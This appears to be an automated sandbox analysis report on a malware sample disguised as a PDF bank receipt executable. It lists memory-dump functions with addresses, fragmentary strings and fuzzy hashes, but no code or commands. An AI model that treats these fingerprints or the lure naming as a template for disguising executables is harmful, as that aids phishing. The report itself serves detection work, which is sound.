Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 18'$18'$aY$aY
API String ID: 0-3687307736
Opcode ID: f23f9d20b714f6b378a7b90ae9501fb94a8dce9e33ec37dc1d219d9cceeaffa0
Instruction ID: 73b25671479d1afba378bda3775e7e7650e9f8b625bf1c8f9b8ecd1aadbea088
Opcode Fuzzy Hash: f23f9d20b714f6b378a7b90ae9501fb94a8dce9e33ec37dc1d219d9cceeaffa0
Instruction Fuzzy Hash: D671E1B4E2120ADFCB04CFAAC5849AEFBB1FF48311F14851AD815AB344D734A982CF95

Function 082723A8 Relevance: 3.9, Strings: 3, Instructions: 175COMMON

Download Yara Rule

Strings

tQ=), xrefs: 0827244E
%O@8, xrefs: 08272522
tQ=), xrefs: 08272455

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: %O@8$tQ=)$tQ=)
API String ID: 0-2920369752
Opcode ID: ffa4e48ef38f49838cfa824ec6d2b0c93914494086ddf08a85b91b0a224337b1
Instruction ID: f232ed0ddbe1c26cc57b223514b74d4ee562264fff208ac5490f3f6a7405e4fb
Opcode Fuzzy Hash: ffa4e48ef38f49838cfa824ec6d2b0c93914494086ddf08a85b91b0a224337b1
Instruction Fuzzy Hash: 9071F275E2121ADFCB08CFAAD58499EFBF1FF88310F14856AE415AB220D770AA41CF50

Function 08273A81 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

6yu[, xrefs: 08273BE6
,uRR, xrefs: 08273B68
6yu[, xrefs: 08273BDF

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ,uRR$6yu[$6yu[
API String ID: 0-86511755
Opcode ID: 30f6f26d4ec03d071fce150715e6fb76bc3143580d78841e2bca45c061072f2f
Instruction ID: ca8864c4c24ab72d3d7cc12978e9aee3ff2276faf95236e9ca53342d534a4636
Opcode Fuzzy Hash: 30f6f26d4ec03d071fce150715e6fb76bc3143580d78841e2bca45c061072f2f
Instruction Fuzzy Hash: DB41E8B4E2520ADFCB08CFAAC5815AEFBF2EF88301F64D469C405A7358D7349A419B95

Function 08273A90 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

6yu[, xrefs: 08273BE6
,uRR, xrefs: 08273B68
6yu[, xrefs: 08273BDF

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ,uRR$6yu[$6yu[
API String ID: 0-86511755
Opcode ID: 34e4d9b099f516a7d9b05a0fefb9d6b5f33442aad2183e83a19fe36a2716d5a0
Instruction ID: ed136662bacfbd486241e7ccc892a8e99b8e642334dbe28b87841b2a342f8abf
Opcode Fuzzy Hash: 34e4d9b099f516a7d9b05a0fefb9d6b5f33442aad2183e83a19fe36a2716d5a0
Instruction Fuzzy Hash: 2F410DB0E2520ADFCB08CFAAC5415AEFBF2FB88301F60D469C405B7358D7749A419B95

Function 082769C8 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

Zjsq, xrefs: 08276A76
9u"K, xrefs: 08276A73

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 9u"K$Zjsq
API String ID: 0-1261923490
Opcode ID: ab7d4e625d77e2fe8d6bbe63dd2b4d16af8bdfad6ba1554ace5bcc14062f5011
Instruction ID: f12a9f58d4fb41bee9bb40be6db4d9c8f96033cc00670c302adf8f95299c0158
Opcode Fuzzy Hash: ab7d4e625d77e2fe8d6bbe63dd2b4d16af8bdfad6ba1554ace5bcc14062f5011
Instruction Fuzzy Hash: 35C10470E25619DFCB08CFAAD58059EFBF2BF98301F14D52AD419AB228D7709942CF54

Function 082769B8 Relevance: 2.8, Strings: 2, Instructions: 293COMMON

Download Yara Rule

Strings

Zjsq, xrefs: 08276A76
9u"K, xrefs: 08276A73

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 9u"K$Zjsq
API String ID: 0-1261923490
Opcode ID: be0fea0cb5909d17112995bebb45d1726b0192615a0101c899c76a674ec284af
Instruction ID: 0c30f88a671d11a24cba29bee2bc48f9c9d17c3f5ba5718d4961313d740b510b
Opcode Fuzzy Hash: be0fea0cb5909d17112995bebb45d1726b0192615a0101c899c76a674ec284af
Instruction Fuzzy Hash: E2C10470E2561ADFCB08CFAAD58059EFBF2BF98301F14D52AD419AB224D7709942CF54

Function 08274A68 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

\~$, xrefs: 08274B88
or, xrefs: 08274ABE

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: \~$$or
API String ID: 0-2796768027
Opcode ID: 694b2d8542fa0ca5c25ef7e9cfed95f8db7cafacb4e5a35f617d31af1fb2c699
Instruction ID: d187383fcb924c17f135e948c365b98c5e70a85e6e0eb3c50f1b23f75352223a
Opcode Fuzzy Hash: 694b2d8542fa0ca5c25ef7e9cfed95f8db7cafacb4e5a35f617d31af1fb2c699
Instruction Fuzzy Hash: 0A6136B4E2521ADFCB08CFA6D5815AEFBF2EF88301F10902AD415A7354E7349A45CF98

Function 08274A58 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

\~$, xrefs: 08274B88
or, xrefs: 08274ABE

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: \~$$or
API String ID: 0-2796768027
Opcode ID: 325ec7fcf15dc6d7116a5b66bf129694ef8a4b5e463ddf07adece7881f267df2
Instruction ID: 3d58bee620eccd17b97182f7edcdee38a7bd367f3c825d0f5c7cdd0751933959
Opcode Fuzzy Hash: 325ec7fcf15dc6d7116a5b66bf129694ef8a4b5e463ddf07adece7881f267df2
Instruction Fuzzy Hash: 8C6134B4E2521ADFCB08CFA6D5516AEFBF2EF88301F10902AD415A7354E7349A45CF98

Function 08272F59 Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

18', xrefs: 082730B2
aY, xrefs: 08273159

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 18'$aY
API String ID: 0-535677718
Opcode ID: f61be0e28148bde0c5ea49c41c0c358e7da2d5715d99a574cb753ad9479b157d
Instruction ID: 60167448a244eff55a04476b27889415b474f88f1d21a4aa12d0274bc35797ca
Opcode Fuzzy Hash: f61be0e28148bde0c5ea49c41c0c358e7da2d5715d99a574cb753ad9479b157d
Instruction Fuzzy Hash: 3261C2B5E2520ACFCB04CFAAC5849AEFBB2FF48311F14851AD415A7355D334A982CF95

Function 082763E0 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

?w=>, xrefs: 082766AC

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ?w=>
API String ID: 0-1933253675
Opcode ID: 4357024eba3f4acce26325e12a302b290639af210707689c7553de952a5023ee
Instruction ID: 7f477b6cd25b94569bef12f5a213ed7da69d132438b70bcde7c638f7bb20baa4
Opcode Fuzzy Hash: 4357024eba3f4acce26325e12a302b290639af210707689c7553de952a5023ee
Instruction Fuzzy Hash: 67B13870D25629DFDB28CFA6D88059EFBB2FF99301F10D02AD419AB225DB349902CF14

Function 082763D1 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

?w=>, xrefs: 082766AC

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ?w=>
API String ID: 0-1933253675
Opcode ID: f82a78aa66f3a9ea201a2923b4b73bd8cb650629b98b0b70ad11ce4381bc39ac
Instruction ID: a045fc77930107124f6acf3df7b52435e7fa24b02568a26813b3de20dc186987
Opcode Fuzzy Hash: f82a78aa66f3a9ea201a2923b4b73bd8cb650629b98b0b70ad11ce4381bc39ac
Instruction Fuzzy Hash: 56B14870E25629DFDB28CFA6D88059EFBB2FF99301F10D02AD415AB265DB349902CF14

Function 08270006 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

]]o, xrefs: 0827008F

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ]]o
API String ID: 0-2636374853
Opcode ID: d2289340dccf8183dea136e059393f7172c79ddf45cbbba838d04c1725c85b00
Instruction ID: 1b4df8801add39ad85dcd66056bbfd5276d9310d9a8112419573ccf68f4dd7f4
Opcode Fuzzy Hash: d2289340dccf8183dea136e059393f7172c79ddf45cbbba838d04c1725c85b00
Instruction Fuzzy Hash: CC715A70E2560ADFCB04CFAAC4819AEFBF2FF89311F14806AD400A7251C3749945CF94

Function 08270040 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

]]o, xrefs: 0827008F

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ]]o
API String ID: 0-2636374853
Opcode ID: 0b037014d4a3c4a4ae4f5ba4c8680b74458d797bdfe2380096d4914949b62a74
Instruction ID: 36c5d6df4d55f5ca179439785c6dcdb641b9204ecc8daaa4793a1f752230199d
Opcode Fuzzy Hash: 0b037014d4a3c4a4ae4f5ba4c8680b74458d797bdfe2380096d4914949b62a74
Instruction Fuzzy Hash: F7712674E2160ADFCB08CFAAC4819AEFBF2FB88311F14812AD415A7355D3749A85CF94

Function 08274703 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

i#)6, xrefs: 082747A1

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: i#)6
API String ID: 0-3600651614
Opcode ID: 992d59769142e2999167183d8144a033a8d598e9b86be40c0242011206c821d9
Instruction ID: cf82f0603290669569b9bbfdbb922c46d96acc860210ae49ed6d6a6caaa72b9e
Opcode Fuzzy Hash: 992d59769142e2999167183d8144a033a8d598e9b86be40c0242011206c821d9
Instruction Fuzzy Hash: B6415A70E2620ADFCB08DFA6C5416AEFBF1EF85300F24946AC115EB254D3349B45CB99

Function 08274710 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

i#)6, xrefs: 082747A1

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: i#)6
API String ID: 0-3600651614
Opcode ID: 6d2e2e3cee79e12ce49d2608a7307d4b593bb9c864162cecf1378324a3a81754
Instruction ID: 5c0dc7f2ac28ba70b12ad983463085b708d0b5b417af467f84af2d057bda7898
Opcode Fuzzy Hash: 6d2e2e3cee79e12ce49d2608a7307d4b593bb9c864162cecf1378324a3a81754
Instruction Fuzzy Hash: 5E411870E2521ADFCB08DFA6C5416AEFBF1EB89301F20942AC115EB254D3749641CF99

Function 0827D750 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcf5a82b1865e0b0f7633b4aaacc421a83d569fc76b6d8342f45c06eea021063
Instruction ID: b2db5ab4a7444d569f9072ed3f969e78fbfc88cbb18fd8bbaa6c0326604f737c
Opcode Fuzzy Hash: dcf5a82b1865e0b0f7633b4aaacc421a83d569fc76b6d8342f45c06eea021063
Instruction Fuzzy Hash: DEE1F874E102598FCB14DFA9C5809AEFBF2FF89305F248169D414AB35AD731A982CF61

Function 0827DBA8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b36ab7c48b6b75c10a78056e6c4ae0b18061b1c40c52b01b61f31659814fb86f
Instruction ID: 1831ed65d2c1806df13b8a4885ebed34ae598a6ae7224777cd0048561a2bcd8b
Opcode Fuzzy Hash: b36ab7c48b6b75c10a78056e6c4ae0b18061b1c40c52b01b61f31659814fb86f
Instruction Fuzzy Hash: 6AE1C874E111198FCB14DFA9C5809AEFBF2FF89305F248169D414AB35AD731A982CFA1

Function 0827DFE0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88cb1a63ab93aa2429e0c32e5ee17af568f665595ae4a46f8796dd9aacc7134f
Instruction ID: 5191fa4572bf963c08f6b44580d1964b92416848761d1afa0a9564714094f746
Opcode Fuzzy Hash: 88cb1a63ab93aa2429e0c32e5ee17af568f665595ae4a46f8796dd9aacc7134f
Instruction Fuzzy Hash: 77E1E874E102198FCB14DFA9C5809AEFBF2FF89305F258269D414AB356D731A981CF61

Function 0827E418 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d376787add46b495ab11bc10b1d73e8c22c3180bba26dcce1a21a24e4c46e6
Instruction ID: d7bfbe0135d7c612b26b0b9bf081c28243742a8572836135590907dbecdaeb6e
Opcode Fuzzy Hash: e1d376787add46b495ab11bc10b1d73e8c22c3180bba26dcce1a21a24e4c46e6
Instruction Fuzzy Hash: BAE1F8B4E101198FCB14DFA9C5809AEFBF2FF89305F258169D414AB356D731A982CF61

Function 060C12F8 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3cef9f76005de24f01d08315dd385b541b8b0e3361f6be55358da8db59de1ae
Instruction ID: 51c61f668ce5fa90fe5236a4ddf8e0af04fb4b9691d8bc752899125460aa1861
Opcode Fuzzy Hash: e3cef9f76005de24f01d08315dd385b541b8b0e3361f6be55358da8db59de1ae
Instruction Fuzzy Hash: 93D11B31D2071A8ACB01EFA4D990A9DB7B1FF95304F50C79AE44937225EF706AC9CB91

Function 08273808 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74603fa1a6eb9fd0cb144e1ba6e50d3a5450351651a3fd8386fe77f70707bccb
Instruction ID: 1f9af9300e5c234087de3f368850e7ad2b4f9b7004a1131d1490e99c0f2efc66
Opcode Fuzzy Hash: 74603fa1a6eb9fd0cb144e1ba6e50d3a5450351651a3fd8386fe77f70707bccb
Instruction Fuzzy Hash: 93610474E2520ACFDB08CFAAC5849DEFBF2FF89210F64946AD405B7364D7349A418B64

Function 08273818 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e214a94bee4827e11a1376632acc3defde9e1c7430b08cd09f2390da062bd4ac
Instruction ID: 22273b7bb7ac7e47a448d53549b16fb9108de3f18d30d57cb04fe02297a76572
Opcode Fuzzy Hash: e214a94bee4827e11a1376632acc3defde9e1c7430b08cd09f2390da062bd4ac
Instruction Fuzzy Hash: 2D711474E2520ADFDB08CFAAC5849DEFBF2FF89211F64942AD405B7324D7309A418B64

Function 0827DB98 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cec3e6b3f98d59cdd0a4f2e6f06b39f1ae8a4bde9efc394aaebd61d8a3a5471
Instruction ID: 5081d935c469954b473376690d2fe88cc70466573a4dbf865304405686c50397
Opcode Fuzzy Hash: 1cec3e6b3f98d59cdd0a4f2e6f06b39f1ae8a4bde9efc394aaebd61d8a3a5471
Instruction Fuzzy Hash: E0511C74E102198FCB14DFAAC5405AEFBF2EF89305F24C169D458AB35AC7319A42CFA1

Function 08274EB0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30edb8ad466301f2142213851b596d437ad558f9edb573c08bad5424a01cc5e
Instruction ID: a83daf4ee5cc56bfd896082e1c609eebf78a2ba3b89a8361e01f97d56e31ce7f
Opcode Fuzzy Hash: e30edb8ad466301f2142213851b596d437ad558f9edb573c08bad5424a01cc5e
Instruction Fuzzy Hash: 77511674D2521ACFCF08DFA6E4405EEFBF2EF89201F10942AC415B6264D37896458F6A

Function 08274EAB Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc86d01cb89521b8582db33c9a6c84f69bf1cb81ef2fbc5438fa0147db34f1d7
Instruction ID: 9fd4cd788fc59d0be1f0d5c16e33314dce59a113cec15a74565ec3217fffc5e2
Opcode Fuzzy Hash: dc86d01cb89521b8582db33c9a6c84f69bf1cb81ef2fbc5438fa0147db34f1d7
Instruction Fuzzy Hash: 0C512874D2521ACFCF08DFA6D4405EEFBF1EF89301F14942AC415B6264D37896468F5A

Function 082735E8 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 406fcc749d7b05be296d471655cf16e3f960b71650ccd1f5faa8f77b3caf5bb5
Instruction ID: bbe0ae467a30ba0dcdaaa277b1bbec4490eaafdfcf505b188415de7df1d0ef91
Opcode Fuzzy Hash: 406fcc749d7b05be296d471655cf16e3f960b71650ccd1f5faa8f77b3caf5bb5
Instruction Fuzzy Hash: BC4108B0E1520A9FCB48CFAAC5816AEFBF2BF88310F64C06AC415A7354D7749A418F94

Function 082735F8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a094e873b8fe9ef3fe9b06efa96489dd6894f628edeb7072ff18bc906bcc631
Instruction ID: d00a278c43c4fbcd3223e66d38ace89e117fcb62c74d36b4a44f321c9c0cb00f
Opcode Fuzzy Hash: 9a094e873b8fe9ef3fe9b06efa96489dd6894f628edeb7072ff18bc906bcc631
Instruction Fuzzy Hash: 4041F6B0D2560ADFCB48CFAAC5855AEFBF2BB88311F64C02AC415A7354D7749A41CF94

Analysis Process: rDEKONT-1_15_202575kbpdf.exePID: 320, Parent PID: 384COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	77
Total number of Limit Nodes:	3

Executed Functions

Function 0147C147 Relevance: 6.5, Strings: 5, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0147C38D
0o@p, xrefs: 0147C20A
Lj@p, xrefs: 0147C377
PH]q, xrefs: 0147C400
PH]q, xrefs: 0147C3EF

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 149fdcb2351c66792b166adf7605c79dd1df78efe3d08caa8e9ee340af6be9be
Instruction ID: b1fff036c0fce4f120501ccb5c3eadca7c07ca3ed46c811c180fdbd7726b0c7e
Opcode Fuzzy Hash: 149fdcb2351c66792b166adf7605c79dd1df78efe3d08caa8e9ee340af6be9be
Instruction Fuzzy Hash: B3A1B374E00219DFDB14DFAAD884A9DBBF2FF89310F14806AE409AB365DB359941CF50

Function 01475370 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 01475550
PH]q, xrefs: 014755D9
PH]q, xrefs: 014755C8
Lj@p, xrefs: 01475566
0o@p, xrefs: 014753E2

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 6f1ed3edb68a62d009aa542c4a2a91db5cf99bad8d509a12f4cbf85506c751c5
Instruction ID: 1d1aa6d4211cc58ee019a41b5e64c2a909728bcd9c9f90b506752bd3290f8762
Opcode Fuzzy Hash: 6f1ed3edb68a62d009aa542c4a2a91db5cf99bad8d509a12f4cbf85506c751c5
Instruction Fuzzy Hash: 1D81B374E01218DFDB14DFAAD984A9DBBF2BF88310F14C06AE809AB365DB349945CF50

Function 0147C738 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0147C92D
PH]q, xrefs: 0147C98F
Lj@p, xrefs: 0147C917
0o@p, xrefs: 0147C7AA
PH]q, xrefs: 0147C9A0

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: e66be730ba5859477f29d6c1d46f9a80eb1419842980d4e1b38369079e093564
Instruction ID: 51658e198a654cd68deba7ba64266e4934ed7ad22d744ceac88ac3558f9ea28e
Opcode Fuzzy Hash: e66be730ba5859477f29d6c1d46f9a80eb1419842980d4e1b38369079e093564
Instruction Fuzzy Hash: 5081B374E00219DFDB54DFAAD984A9DBBF2BF88310F14C06AE819AB365DB349941CF50

Function 0147CFA9 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 0147D1FF
0o@p, xrefs: 0147D01A
Lj@p, xrefs: 0147D187
PH]q, xrefs: 0147D210
Lj@p, xrefs: 0147D19D

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 58e6c94c3c92f8f02421bd441a939f3a85e1431e5837f55fa9f07706a2c5ae3f
Instruction ID: 6389b9db601c68f70fff56bc6c88bfe0aa09dee2564531f5b08aec3b91cd67db
Opcode Fuzzy Hash: 58e6c94c3c92f8f02421bd441a939f3a85e1431e5837f55fa9f07706a2c5ae3f
Instruction Fuzzy Hash: 0F81A274E11218DFDB14DFAAD984A9DBBF2FF89310F14806AE809AB365DB349945CF10

Function 0147CCDF Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0147CECD
PH]q, xrefs: 0147CF40
Lj@p, xrefs: 0147CEB7
0o@p, xrefs: 0147CD4A
PH]q, xrefs: 0147CF2F

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: d95f375a9b087c42be9622dd2547dfeee7551b7b4885533ea4e48f9638ecf097
Instruction ID: efb88554758d55b86cfcdfff50a814024e1ddf4d2b25bd3a918deb70251a45ef
Opcode Fuzzy Hash: d95f375a9b087c42be9622dd2547dfeee7551b7b4885533ea4e48f9638ecf097
Instruction Fuzzy Hash: 3381D374E00219CFDB18DFAAD984A9DBBF2BF88310F14C46AE419AB365DB349941CF50

Function 0147D27F Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0147D46D
Lj@p, xrefs: 0147D457
PH]q, xrefs: 0147D4CF
